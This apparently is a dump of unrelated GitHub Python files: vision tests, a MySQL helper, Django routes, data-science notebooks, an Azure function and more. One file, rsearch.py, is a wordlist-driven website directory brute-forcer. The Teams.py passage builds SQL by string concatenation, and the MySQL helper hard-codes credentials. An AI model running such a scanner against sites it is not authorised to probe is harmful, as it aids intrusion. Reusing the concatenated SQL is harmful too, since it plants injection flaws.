self.seasonInput.style.background_color = '#ffcccb'\r\n \r\n teamsInsertColumns.append('DEFAULT_FLAG')\r\n if self.defaultFlagInput.value == self.YES:\r\n teamsInsertValues = teamsInsertValues + '\", ' + str(1)\r\n else:\r\n teamsInsertValues = teamsInsertValues + ', ' + str(0)\r\n\r\n teamsInsertColumns.append('CREATED_DATE')\r\n teamsInsertValues = teamsInsertValues + ', ' + '\\'' + str(date.today()) + '\\''\r\n\r\n # teamsInsertColumns.append('CREATED_BY_USER_ID')\r\n # teamsInsertValues = teamsInsertValues + ', ' + str('SBHOBBES')\r\n\r\n teamsInsertColumns.append('LAST_MODIFIED_DATE')\r\n teamsInsertValues = teamsInsertValues + ', ' + '\\'' + str(date.today()) + '\\''\r\n\r\n # teamsInsertColumns.append('LAST_MODIFIED_BY_USER_ID')\r\n # teamsInsertValues = teamsInsertValues + ', ' + str('SBHOBBES')\r\n teamsInsertValues = teamsInsertValues + ')'\r\n\r\n # Commit the team to the database\r\n if not missingInputFlag:\r\n InsertIntoTables(self.DB, self.TEAMS_TABLE, tuple(teamsInsertColumns), teamsInsertValues, valueType = 'string')\r\n\r\n # Clear all widgets from the screen\r\n self.RemoveChildren()\r\n\r\n # Display the choices screen\r\n choice = ChoicesScreen('NEW_TEAM', self.DB, self.APP)\r\n self.mainBox.add(choice.DisplayScreen())\r\n else:\r\n self.missingInputsLabel.style.visibility = 'visible'\r\n print('this')\r\n\r\n def Cancel(self, widget):\r\n home = sc.HomeScreen(self.DB, self.APP)\r\n self.RemoveChildren()\r\n self.mainBox.add(home.DisplayForm())\r\n\r\n def Test(self, widget):\r\n print(self.overtimeRulesDF['LOOKUP_ID'][self.overtimeRulesDF.LOOKUP_DESCRIPTION == self.overtimeRuleLookupIDInput.value])\r\n\r\n def ToggleOvertimeRuleLookup(self, widget):\r\n if self.overtimeRuleFlagInput.value == 'Yes':\r\n self.overtimeRuleLookupIDInput.style.visibility = 'visible'\r\n self.overtimeRuleLookupIDLabel.style.visibility = 'visible'\r\n else:\r\n self.overtimeRuleLookupIDInput.style.visibility = 'hidden'\r\n self.overtimeRuleLookupIDLabel.style.visibility = 'hidden'\r\n\r\n def RemoveChildren(self):\r\n for child in reversed(self.mainBox.children):\r\n self.mainBox.remove(child)","repo_name":"sbhobbes/coach_companion","sub_path":"src/coachcompanion/Teams.py","file_name":"Teams.py","file_ext":"py","file_size_in_byte":16691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20949736522","text":"import unittest\n\nimport torch\nfrom mmengine.structures import PixelData\nfrom mmengine.testing import assert_allclose\n\nfrom mmdet.models.seg_heads import PanopticFPNHead\nfrom mmdet.structures import DetDataSample\n\n\nclass TestPanopticFPNHead(unittest.TestCase):\n\n def test_init_weights(self):\n head = PanopticFPNHead(\n num_things_classes=2,\n num_stuff_classes=2,\n in_channels=32,\n inner_channels=32)\n head.init_weights()\n assert_allclose(head.conv_logits.bias.data,\n torch.zeros_like(head.conv_logits.bias.data))\n\n def test_loss(self):\n head = PanopticFPNHead(\n num_things_classes=2,\n num_stuff_classes=2,\n in_channels=32,\n inner_channels=32,\n start_level=0,\n end_level=1)\n x = [torch.rand((2, 32, 8, 8)), torch.rand((2, 32, 4, 4))]\n data_sample1 = DetDataSample()\n data_sample1.gt_sem_seg = PixelData(\n sem_seg=torch.randint(0, 4, (1, 7, 8)))\n data_sample2 = DetDataSample()\n data_sample2.gt_sem_seg = PixelData(\n sem_seg=torch.randint(0, 4, (1, 7, 8)))\n batch_data_samples = [data_sample1, data_sample2]\n results = head.loss(x, batch_data_samples)\n self.assertIsInstance(results, dict)\n\n def test_predict(self):\n head = PanopticFPNHead(\n num_things_classes=2,\n num_stuff_classes=2,\n in_channels=32,\n inner_channels=32,\n start_level=0,\n end_level=1)\n x = [torch.rand((2, 32, 8, 8)), torch.rand((2, 32, 4, 4))]\n img_meta1 = {\n 'batch_input_shape': (16, 16),\n 'img_shape': (14, 14),\n 'ori_shape': (12, 12),\n }\n img_meta2 = {\n 'batch_input_shape': (16, 16),\n 'img_shape': (16, 16),\n 'ori_shape': (16, 16),\n }\n batch_img_metas = [img_meta1, img_meta2]\n head.eval()\n with torch.no_grad():\n seg_preds = head.predict(x, batch_img_metas, rescale=False)\n self.assertTupleEqual(seg_preds[0].shape[-2:], (16, 16))\n self.assertTupleEqual(seg_preds[1].shape[-2:], (16, 16))\n\n seg_preds = head.predict(x, batch_img_metas, rescale=True)\n self.assertTupleEqual(seg_preds[0].shape[-2:], (12, 12))\n self.assertTupleEqual(seg_preds[1].shape[-2:], (16, 16))\n","repo_name":"open-mmlab/mmdetection","sub_path":"tests/test_models/test_seg_heads/test_panoptic_fpn_head.py","file_name":"test_panoptic_fpn_head.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":26167,"dataset":"github-code","pt":"20"} +{"seq_id":"18608836567","text":"from MySQLdb import connect, OperationalError\nfrom MySQLdb.cursors import DictCursor\n\ndef findall():\n try:\n # 쿼리를 때리려면 cursor가 있어야 함\n # 커서 생성\n db = conn()\n\n # cursor 생성\n cursor = db.cursor(DictCursor)\n\n # 결과를 dictionary list로 내놓음\n # [ { } , { } ] 의 형태로 커서가 리턴해줌 (인스턴스가 2개일 때)\n # { } 안에는 컬럼명 : 값 컬럼명 : 값 이런 형태로 들어있다.\n\n # SQL 실행\n sql = 'select no, first_name, last_name, email from emaillist order by no desc'\n cursor.execute(sql) # sql 쿼리를 커서로 실행한다.\n\n # 결과 받아오기\n results = cursor.fetchall()\n\n # 자원 정리 (지금까지 열었던 것들을 잘라버림)\n cursor.close()\n db.close()\n\n # 결과 반환\n return results\n\n except OperationalError as e:\n print(f'error: {e}')\n\ndef insert(firstname,lastname,email):\n try:\n # 쿼리를 때리려면 cursor가 있어야 함\n # 커서 생성\n db = conn()\n\n # cursor 생성\n cursor = db.cursor()\n # 얘는 그냥 커서, 출력이 아니기 때문에 그냥 커서임\n\n # SQL 실행\n sql = 'insert into emaillist values(null, %s,%s,%s)'\n count = cursor.execute(sql, (firstname, lastname, email)) # sql 쿼리를 커서로 실행한다.\n # count는 몇 개가 들어갔나?\n\n # insert update delete 는 commit을 해줘야 함\n db.commit()\n\n # 자원 정리 (지금까지 열었던 것들을 잘라버림)\n cursor.close()\n db.close()\n\n # 결과 보기\n return count == 1\n\n except OperationalError as e:\n print(f'error: {e}')\n\ndef conn():\n\n return connect(\n user='webdb',\n password='webdb',\n host='localhost',\n port=3306,\n db='webdb',\n charset='utf8')\n\ndef deletebyemail(email):\n\n try:\n # 쿼리를 때리려면 cursor가 있어야 함\n # 커서 생성\n db = conn()\n\n # cursor 생성\n cursor = db.cursor()\n # 얘는 그냥 커서, 출력이 아니기 때문에 그냥 커서임\n\n # SQL 실행\n sql = 'delete from emaillist where email = %s'\n count = cursor.execute(sql, (email,)) # sql 쿼리를 커서로 실행한다.\n # 이 때, execute 안에 sql 다음엔 !!!튜플!!!로 해야함\n # count는 몇 개가 들어갔나?\n\n # insert update delete 는 commit을 해줘야 함\n db.commit()\n\n # 자원 정리 (지금까지 열었던 것들을 잘라버림)\n cursor.close()\n db.close()\n\n # 결과 보기\n return count == 1\n\n except OperationalError as e:\n print(f'error: {e}')","repo_name":"seeoonghoo/mysql-practices","sub_path":"emaillistapp/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73430167730","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n\tpath('',views.index), \n\tpath('about/', views.about), \n\tpath('ruls/', views.ruls), \n\tpath('stocks/', views.stocks, name='stocks'),\n\tpath('register/', views.register_user, name='register'),\n\tpath('login/', views.login_view, name='login'),\n\tpath('logout/', views.logout_view, name='logout'),\n\tpath('part/', views.part, name='part'),\n\tpath('accaunt/', views.peAc, name='accaunt'),\n\n\tpath(\"get_token/\", views.get_token, name=\"get_token\"),\n\tpath(\"run_game/\", views.run_game, name=\"run_game\"),\n\tpath(\"slotsInit/\", views.slots_init),\n\t\n\tpath(\"spinRequest/\", views.spin_request),\n\tpath(\"takeRequest/\", views.take_request),\n\tpath(\"doubleRequest/\", views.double_request),\n\tpath('update_balance/', views.update_balance, name='update_balance'),\n]\n","repo_name":"PheonixCS/casino","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71493590451","text":"\nimport turtle\nimport random\ndan = turtle.Turtle()\ndan.shape('turtle')\n \n\ncolorList = ['red', 'orange', 'yellow', 'blue', 'purple', 'pink', 'gold','green','brown', 'gray']\n\n# draw first flower\ndan.color(colorList[random.randint(0,6)])\ndef petal():\n distance = 30\n angle =120\n dan.left(30)\n # draw a triangle and fill in the color\n dan.begin_fill()\n dan.forward(distance)\n dan.right(angle)\n dan.forward(distance)\n dan.right(angle)\n dan.forward(distance)\n dan.end_fill()\n dan.left(angle)\n# start off 45 right\ndan.right(45)\n# repeat the forward/right functions four times\nfor i in range(4):\n petal()\n\n# draw on the screen 25 nore flowers\nfor i in range(25):\n x = random.randint(-150, 150)\n y = random.randint(-150, 150)\n dan.color(colorList[random.randint(0,6)])\n dan.penup()\n dan.goto(x,y)\n dan.pendown()\n# draw a new flower\n for i in range(4):\n petal()\n\n \ndan.penup() \ndan.goto(0,0)\n\n\n ","repo_name":"CoderDojoTC/python","sub_path":"trinket/python_filed_of_flowers.py","file_name":"python_filed_of_flowers.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"16816976546","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import linear_model\n\ndf = pd.read_csv(r\"C:\\Users\\nandika\\Desktop\\homeprices.csv\")\ndf\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nplt.xlabel('area')\nplt.ylabel('price')\n\nplt.scatter(df.area,df.price,color = 'red',marker = '+')\n\nplt.show()\n\nreg = linear_model.LinearRegression()\nreg.fit(df[['area']],df.price)\n\nreg.coef_\n\nreg.intercept_\n\n3300 * 135.78 + 180616\n\nd = pd.read_csv(r\"C:\\Users\\nandika\\Desktop\\area.csv\")\n\nd\nd.head(3)\n\np = reg.predict(d)\n\n\nd['prices'] = p #assign a new column for the data frame\nd\n\n\n\n# In[10]:\n\n\nd.to_csv(r\"C:\\Users\\nandika\\Desktop\\area.csv\") #upload data to original csv file\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"kosalakumara/MachineLearning-ImageProcessing-From-Scratch","sub_path":"06-linear-regression-showing-graph-predecting-multiple-values-in-a-csv-file-part-03/Untitled3.py","file_name":"Untitled3.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"19650695178","text":"# Fetch the logs from Azure Event Hub and ingest them into Chronicle.\r\nimport azure.functions as func\r\nimport json\r\nimport logging\r\nimport os\r\n\r\n#from .common import ingest\r\n#from .common import utils\r\n\r\n# Environment variable constants.\r\nENV_CHRONICLE_DATA_TYPE = 'CHRONICLE_DATA_TYPE'\r\n\r\n\r\ndef main(events: func.EventHubEvent) -> str:\r\n \"\"\"Entrypoint.\r\n\r\n Args:\r\n request: Request to execute the cloud function.\r\n\r\n Returns:\r\n string: \"Ingestion completed\".\r\n \"\"\"\r\n #chronicle_data_type = utils.get_env_var(ENV_CHRONICLE_DATA_TYPE)\r\n events_to_send = []\r\n\r\n logging.info(\"Events received by the function: {}. Type: {}\".format(\r\n str(events), type(events)\r\n ))\r\n\r\n count = 0\r\n # Iterating over the list of event hub logs to decode and json serialize them.\r\n for event in events:\r\n try:\r\n logging.info(\"Record received: {}\".format(\r\n event.get_body().decode('utf-8')\r\n ))\r\n records = json.loads(event.get_body().decode('utf-8'))['records']\r\n logging.info(\"Parsing record: {}\".format(records))\r\n # Raise error if the event received from the event hub is not json serializeable. \r\n except json.JSONDecodeError as error:\r\n print(\"Could not json serialize the event hub log\")\r\n raise RuntimeError(f\"The log data from event hub is not JSON serializable\") from error\r\n events_to_send.append(records)\r\n count = count + 1\r\n if count == 3:\r\n logging.info(\"Breaking the loop now to end the testing..\")\r\n break\r\n\r\n logging.info(\"Events planned to send to Azure: {}\".format(\r\n str(events_to_send)\r\n ))\r\n\r\n # try:\r\n # # Ingest Event hub logs to chronicle.\r\n # ingest.ingest(events_to_send, chronicle_data_type)\r\n # except Exception as error:\r\n # raise Exception(\"Unable to push the data to the Chronicle.\") from error\r\n\r\n logging.info(f\"Total {len(events_to_send)} log(s) are successfully ingested to Chronicle.\")\r\n","repo_name":"crestdatasystems/google-3p-crest","sub_path":"azure_eventhub_api_function/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"41478788945","text":"import os\nimport fileinput\nimport pymeshlab\nimport subprocess\nimport time\n\nABS_PATH = os.path.dirname(os.path.abspath(__file__))\nRESULTS_PATH = ABS_PATH + '\\\\InputFiles\\\\128'\n\ndef replace_in_file(file, order, obj_path):\n # read input file\n fin = open(file, \"rt\")\n # read file contents to string\n data = fin.read()\n # replace all occurrences of the required string\n if order == 0:\n data = data.replace('${PLASMA_OBJ_PATH}', obj_path)\n elif order == 1:\n data = data.replace(obj_path, '${PLASMA_OBJ_PATH}')\n # close the input file\n fin.close()\n # open the input file in write mode\n fin = open(file, \"wt\")\n # overrite the input file with the resulting data\n fin.write(data)\n # close the file\n fin.close()\n\ndef get_largest_file(results_dir):\n files = os.listdir(results_dir)\n largest_file_size = 0\n largest_file = \"\"\n\n print('Searching the largest file in directory')\n for file in files:\n if os.path.isfile(results_dir+'\\\\'+file):\n size = os.path.getsize(results_dir+'\\\\'+file)\n if size > largest_file_size:\n largest_file_size = size\n largest_file = results_dir+'\\\\'+file\n print('The largest file found is: '+largest_file)\n return largest_file\n\n\ndef csv_to_xyz(input_file):\n print('Converting txt file into xyz file')\n output_file = ABS_PATH + '\\\\InputFiles\\\\plasma_surface.xyz'\n\n with open(input_file, \"r\") as input:\n with open(output_file, \"w\") as output:\n for line in input:\n current_line = line.split(\",\")\n final_line = str(current_line[0]) + \" \" + str(current_line[1]) + \" \" + str(current_line[2]) + \" \\n\"\n output.write(final_line)\n print('File created')\n return output_file\n\n\ndef surface_reconstruction(file):\n print('Creating surface mesh object')\n mesh_lab = pymeshlab.MeshSet()\n obj_path = ABS_PATH+'\\\\SceneObjects\\\\plasma_surface.ply'\n\n try:\n print(\"Loading a xyz point data file\")\n mesh_lab.load_new_mesh(file)\n print(\"Computing normals for each point, 120 neighbour number\")\n mesh_lab.apply_filter('compute_normals_for_point_sets', k=120)\n print(\"Running the surface_reconstruction algorithm Screened Poisson\")\n mesh_lab.apply_filter('surface_reconstruction_screened_poisson')\n print(\"Saving current mesh\")\n mesh_lab.save_current_mesh(obj_path)\n except pymeshlab.PyMeshLabEexception as err:\n print(err)\n print('Mesh created')\n return obj_path\n\ndef render_images(obj_path):\n print('Preparing the scene to render images')\n replace_in_file(ABS_PATH+'\\\\PhotoRealisticSCR.py', 0, obj_path)\n # Subprocess Paraview Call\n call_exec = 'pvpython.exe'\n file_exec = ABS_PATH+'\\\\PhotoRealisticSCR.py'\n try:\n subprocess.check_output([call_exec, file_exec])\n except:\n print('Error in paraview python subprocess call')\n print('Rendering done')\n replace_in_file(ABS_PATH+'\\\\PhotoRealisticSCR.py', 1, obj_path)\n\ndef main():\n #largest_file = get_largest_file(RESULTS_PATH)\n #xyz_file_path = csv_to_xyz(largest_file)\n #obj_path = surface_reconstruction(xyz_file_path)\n #render_images(obj_path)\n start = time.time()\n render_images(surface_reconstruction(csv_to_xyz(get_largest_file(RESULTS_PATH))))\n end = time.time()\n elapsed_time = end - start\n if elapsed_time > 59:\n print('Elapsed time: ' + str((end - start)/60) + ' minutes')\n elif elapsed_time > 3599:\n print('Elapsed time: ' + str((end - start)/3600) + ' hours')\n else:\n print('Elapsed time: '+ str(end - start) + ' seconds')\n\nif __name__ == \"__main__\":\n main()\n\n\n\n","repo_name":"luigui12595/BS-SOLCTRA-Image-Renderer","sub_path":"stl-PIR.py","file_name":"stl-PIR.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72183308529","text":"# A modified version of https://github.com/petermuehlbacher/diffusion-maps-algorithm/blob/master/diffusion%20maps.py\n# A python implementation of the diffusion maps algorithm introduced by [Lafon](https://sites.google.com/site/stefansresearchpapers/home/dissertation.pdf).\n\nimport numpy as np\nfrom numpy import linalg as LA\nfrom PIL import Image\nimport matplotlib.cm as cm\nimport matplotlib.pyplot as plt\nfrom matplotlib.offsetbox import AnnotationBbox, OffsetImage\nimport os, math\n\nnewDim = 64\n\ndef normalize(arr):\n arr=arr.astype('float32')\n if arr.max() > 1.0:\n arr/=255.0\n return arr\n\ndef weightedAverage(pixel):\n return 0.299*pixel[0] + 0.587*pixel[1] + 0.114*pixel[2]\n\ndef getImgData(path, preview=True):\n filelist = os.listdir( path )\n imglist = []\n for filename in filelist:\n img = Image.open(path+filename)\n img = img.resize((newDim,newDim))\n img = np.asarray(img)\n\n grey = np.zeros((img.shape[0], img.shape[1])) # init 2D numpy array\n for rownum in range(len(img)):\n for colnum in range(len(img[rownum])):\n grey[rownum][colnum] = weightedAverage(img[rownum][colnum])\n\n grey = normalize(grey)\n imglist.append(grey)\n\n data=[]\n for img in imglist:\n vector = img.flatten()\n data.append(vector)\n\n if preview:\n for img in imglist:\n plt.imshow(img, cmap = cm.Greys_r)\n plt.show()\n \n return data\n\ndef diffusionMapping(data, k, t, **kwargs):\n try:\n kwargs['dim'] or kwargs['delta']\n except KeyError:\n raise KeyError('specify either dim or delta as keyword argument!')\n \n dataList=[] # create list whose indices will serve as references for the vectors from now on\n for x in data:\n dataList.append(x)\n X = range(len(dataList))\n \n # construct Markov matrix\n v = []\n for x in X:\n vx = 0\n for y in X:\n _x = np.array(dataList[x])\n _y = np.array(dataList[y])\n vx += k(_x,_y)\n v.append(math.sqrt(vx))\n \n a = []\n for x in X:\n a.append([])\n for y in X:\n _x = np.array(dataList[x])\n _y = np.array(dataList[y])\n a[x].append(k(_x,_y)/(v[x]*v[y]))\n \n # compute eigenvectors of (a_ij)\n phi = []\n eigval, eigvec = LA.eigh(np.array(a))\n for i in range(len(eigvec)):\n phi.append(eigvec[:, i])\n # reverse order\n eigval[:] = eigval[::-1]\n phi[:] = phi[::-1]\n \n # compute dimension \n #(for better performance you may want to combine this with an iterative way of computing eigenvalues/vectors)\n if kwargs['dim']:\n embeddim = kwargs['dim']\n elif kwargs['delta']:\n i=1\n while eigval[i]**t>kwargs['delta']*eigval[1]**t:\n i+=1\n embeddim = i\n \n # compute embedding coordinates\n Psi = []\n for x in X:\n Psi.append([])\n for j in range(embeddim):\n i=j+1 # ignore the first eigenvector/value as this is only constant\n Psi[x].append((eigval[i]**t)*phi[i][x]/v[x])\n return (Psi, dataList)\n\ndef plotDiffusionMap(data,showPlot=False):\n showImages=False\n\n coordinates, dataList = diffusionMapping(data, lambda x,y: math.exp(-LA.norm(x-y)/1024), 1,dim=2)\n a = np.asarray(coordinates)\n x = a[:,0]\n y = a[:,1]\n\n if showPlot:\n fig, ax = plt.subplots()\n labels = ['image {0}'.format(i+1) for i in range(len(x))]\n for label, xpt, ypt in zip(labels, x, y):\n plt.annotate(\n label,\n xy = (xpt, ypt), xytext = (-20, 20),\n textcoords = 'offset points', ha = 'right', va = 'bottom',\n bbox = dict(boxstyle = 'round,pad=0.5', fc = 'white', alpha = 0.5),\n arrowprops = dict(arrowstyle = '->', connectionstyle = 'arc3,rad=0'))\n ax.plot(x, y, 'ro')\n plt.show()\n return x,y\n\n","repo_name":"govinda-kamath/clustering_on_transcript_compatibility_counts","sub_path":"Trapnell_pipeline/diffusion_maps.py","file_name":"diffusion_maps.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"20"} +{"seq_id":"18933734851","text":"\"\"\"Profile-independent tasks implemented via *profile augmentation*.\"\"\"\nimport re\nfrom functools import wraps\nfrom typing import Callable\n\nfrom ..types import Profile, Translator\n\nDUPLICATED_NEWLINES = re.compile(r\"\\n+\", re.M)\nTABLE_START = re.compile(r\"^\\[(.*)\\]\", re.M)\nEMPTY_TABLES = re.compile(r\"^\\[(.*)\\]\\n+\\[(\\1\\.(?:.*))\\]\", re.M)\nMISSING_TERMINATING_LINE = re.compile(r\"(? str:\n \"\"\"Make sure every table is preceded by an empty newline, but remove them elsewhere\n in the output TOML document.\n Also ensure a terminating newline is present for best POSIX tool compatibility.\n \"\"\"\n text = DUPLICATED_NEWLINES.sub(r\"\\n\", text)\n text = TABLE_START.sub(r\"\\n[\\1]\", text)\n return MISSING_TERMINATING_LINE.sub(\"\\n\", text)\n\n\ndef remove_empty_table_headers(text: str) -> str:\n \"\"\"Remove empty TOML table headers\"\"\"\n prev_text = \"\"\n while text != prev_text:\n prev_text = text\n text = EMPTY_TABLES.sub(r\"[\\2]\", text).strip()\n return text\n\n\ndef ensure_terminating_newlines(text: str) -> str:\n return text.strip() + \"\\n\"\n","repo_name":"abravalheri/ini2toml","sub_path":"src/ini2toml/plugins/profile_independent_tasks.py","file_name":"profile_independent_tasks.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"20"} +{"seq_id":"74115035890","text":"from typing import Any\nfrom typing import Dict\nfrom typing import Optional\n\nfrom .schema import IVanillaGAN\nfrom .discriminators import DiscriminatorBase\nfrom ..decoder import make_decoder\n\n\n@IVanillaGAN.register(\"gan\")\nclass VanillaGAN(IVanillaGAN):\n def __init__(\n self,\n img_size: int,\n in_channels: int,\n out_channels: Optional[int] = None,\n latent_dim: int = 64,\n latent_resolution: int = 7,\n *,\n generator: str = \"vanilla\",\n discriminator: str = \"basic\",\n generator_config: Optional[Dict[str, Any]] = None,\n discriminator_config: Optional[Dict[str, Any]] = None,\n num_classes: Optional[int] = None,\n gan_mode: str = \"vanilla\",\n gan_loss_config: Optional[Dict[str, Any]] = None,\n ):\n super().__init__()\n self.latent_dim = latent_dim\n self.build_loss(\n num_classes=num_classes,\n gan_mode=gan_mode,\n gan_loss_config=gan_loss_config,\n )\n # generator\n if generator_config is None:\n generator_config = {}\n generator_config[\"img_size\"] = img_size\n generator_config[\"latent_dim\"] = latent_dim\n generator_config[\"latent_resolution\"] = latent_resolution\n generator_config[\"out_channels\"] = out_channels or in_channels\n generator_config[\"num_classes\"] = num_classes\n self.generator = make_decoder(generator, generator_config, is_1d=True) # type: ignore\n # discriminator\n if discriminator_config is None:\n discriminator_config = {}\n discriminator_config[\"in_channels\"] = in_channels\n discriminator_config[\"num_classes\"] = num_classes\n self.discriminator = DiscriminatorBase.make(\n discriminator,\n config=discriminator_config,\n )\n\n\n__all__ = [\"VanillaGAN\"]\n","repo_name":"carefree0910/carefree-learn","sub_path":"cflearn/models/cv/gan/vanilla.py","file_name":"vanilla.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":399,"dataset":"github-code","pt":"20"} +{"seq_id":"70113492849","text":"#!/usr/bin/env python\r\n\r\nimport requests\r\nimport argparse\r\nimport sys\r\nfrom datetime import datetime\r\n\r\ndef get_args():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"Target website URL.\", required=True)\r\n parser.add_argument(\"-w\", \"--wordlist\", dest=\"wordlist\", default=\"wordlists/path_common.txt\", help=\"Optional wordlist.\")\r\n args = parser.parse_args()\r\n return args\r\n\r\ndef request(url):\r\n try:\r\n return requests.get(\"http://\" + url, timeout=3)\r\n except Exception:\r\n pass\r\n \r\ndef crawl(filename):\r\n with open(filename, 'r') as f:\r\n for i, line in enumerate(f):\r\n print(f'\\u001b[38;5;14m### Progress {i+1}/{size}', end=\"\\r\")\r\n try:\r\n path = line.strip()\r\n target_url = f\"{target}/{path}\"\r\n response = request(url=target_url)\r\n try: \r\n if not response.status_code == 404:\r\n print(f\"\\u001b[38;5;231m[*] Discovered path ==> \\u001b[38;5;13m[{response.status_code}] \\u001b[38;5;47m{target_url}\")\r\n except Exception:\r\n pass\r\n except KeyboardInterrupt: \r\n print(\"\\u001b[38;5;255mCTLR+C detected. Cancel job?\")\r\n c = input(\"[q]uit/[c]ontinue: \")\r\n if c.lower() == \"c\":\r\n continue\r\n else:\r\n print(\"\\n\\u001b[41;1m\\u001b[38;5;255mcanceled.\\u001b[0m\")\r\n sys.exit() \r\n\r\nargs = get_args()\r\ntarget = args.url\r\nwordlist = args.wordlist\r\nwith open(wordlist) as f:\r\n size = sum(1 for _ in f)\r\n\r\nprint(f\"\\u001b[38;5;226mTarget: \\u001b[38;5;33mhttps://{target} \\u001b[38;5;226m Words: \\u001b[38;5;93m{size}\", end=\"\\r\")\r\nprint(f'\\n\\u001b[38;5;226m[{datetime.now().strftime(\"%H:%M:%S\")}] Started:')\r\n\r\nif __name__ == '__main__':\r\n crawl(wordlist)\r\n\r\nprint(f'\\n\\u001b[38;5;226m[{datetime.now().strftime(\"%H:%M:%S\")}] Done.')","repo_name":"Jubiko31/red_team_toolkit","sub_path":"website_crawler/rsearch.py","file_name":"rsearch.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"11654535765","text":"\"\"\"\n\tWould often put something like this in tests, but here just want to get some reporting\n\twithout the traditional testing format\n\"\"\"\n\nimport fiona\nimport csv\nimport os\n\ndef get_all_US_comids(seamless_geodatabase_location=r\"C:\\Users\\dsx\\Projects\\Data\\NHDPlusV21_NationalData_Seamless_Geodatabase_Lower48_07\\NHDPlusNationalData\\NHDPlusV21_National_Seamless_Flattened_Lower48.gdb\"):\n\t\"\"\"\n\t\treturns a list of all comids in the US\n\t:param seamless_geodatabase_location: the path to the seamless geodatabase - Network and NonNetwork COMIDs will be loaded\n\t:return: list of COMIDs\n\t\"\"\"\n\n\tcomids = {} # could preallocate, but whatever\n\tprint(\"Loading Network COMIDs\")\n\twith fiona.open(seamless_geodatabase_location, driver=\"OpenFileGDB\", layer=\"NHDFlowline_Network\") as nhd_data:\n\t\tfor row in nhd_data:\n\t\t\tcomids[row[\"properties\"][\"COMID\"]] = 1\n\tprint(\"Loading NonNetworked COMIDs\")\n\twith fiona.open(seamless_geodatabase_location, driver=\"OpenFileGDB\", layer=\"NHDFlowline_NonNetwork\") as nhd_data:\n\t\tfor row in nhd_data:\n\t\t\tcomids[row[\"properties\"][\"COMID\"]] = 1\n\n\treturn comids\n\n\ndef get_model_comids(csv_filepath=r\"C:\\Users\\dsx\\Box\\CA Flow Model V2\\SupplementalMetaData\\California_COMIDs.csv\"):\n\tcomids = {}\n\n\twith open(csv_filepath, 'r') as csv_file:\n\t\treader = csv.DictReader(csv_file)\n\n\t\tfor row in reader:\n\t\t\tcomids[row[\"COMID\"]] = 1\n\n\treturn comids\n\n\ndef check_comids(test_csv, source_data_func=get_all_US_comids):\n\t\"\"\"\n\t\tChecks that all comids in test_csv exist in the US NHDPlusv2 Seamless dataset\n\t:param test_csv:\n\t:param source_data_func: a function that returns a dictionary of COMIDs that are assumed\n\t\t\t\t\t\tto be comprehensive and authoritative. The dictionary\n\t\t\t\t\t\tshould be keyed by COMID with any value. COMIDs in test_csv that\n\t\t\t\t\t\taren't in the dictionary keys will be assumed wrong\n\t:return:\n\t\"\"\"\n\n\tcomids = source_data_func()\n\n\tmissing_comids = []\n\twith open(test_csv, 'r') as csv_file:\n\t\treader = csv.DictReader(csv_file)\n\n\t\ti = 0\n\t\tfor row in reader:\n\t\t\ti += 1\n\t\t\tif row[\"COMID\"] not in comids:\n\t\t\t\tmissing_comids.append(row[\"COMID\"])\n\n\t\t\tif i % 20000 == 0:\n\t\t\t\tprint(i)\n\n\t\tprint(\"## MISSING ##\")\n\t\tmissing = list(set(missing_comids)) # dedupe and print it\n\t\tprint(\"{} Missing COMIDs\".format(len(missing)))\n\t\ttest_csv_folder = os.path.split(test_csv)[0]\n\t\twith open(os.path.join(test_csv_folder, \"missing_comids.csv\"), 'w') as output_file:\n\t\t\tfor comid in missing: # printing 1 by 1 because they were getting cut off otherwise\n\t\t\t\toutput_file.write(comid)\n\t\t\t\toutput_file.write(\"\\n\")\n\n\n","repo_name":"ceff-tech/belleflopt","sub_path":"belleflopt/data_quality_checks.py","file_name":"data_quality_checks.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"38192631141","text":"from django.forms import ModelForm, Textarea\n\nfrom .models import Post, Comment\n\n\nclass PostForm(ModelForm):\n class Meta:\n model = Post\n exclude = ('author',)\n widgets = {\n 'text': Textarea(attrs={'cols': 40, 'rows': 10}),\n }\n\n\nclass CommentForm(ModelForm):\n class Meta:\n model = Comment\n exclude = ('author', 'post',)\n\n# Егор, в слаке тебе писал, что убрал labels и help_texts в модели.\n# В моделях добавил verbose_name и help_texts 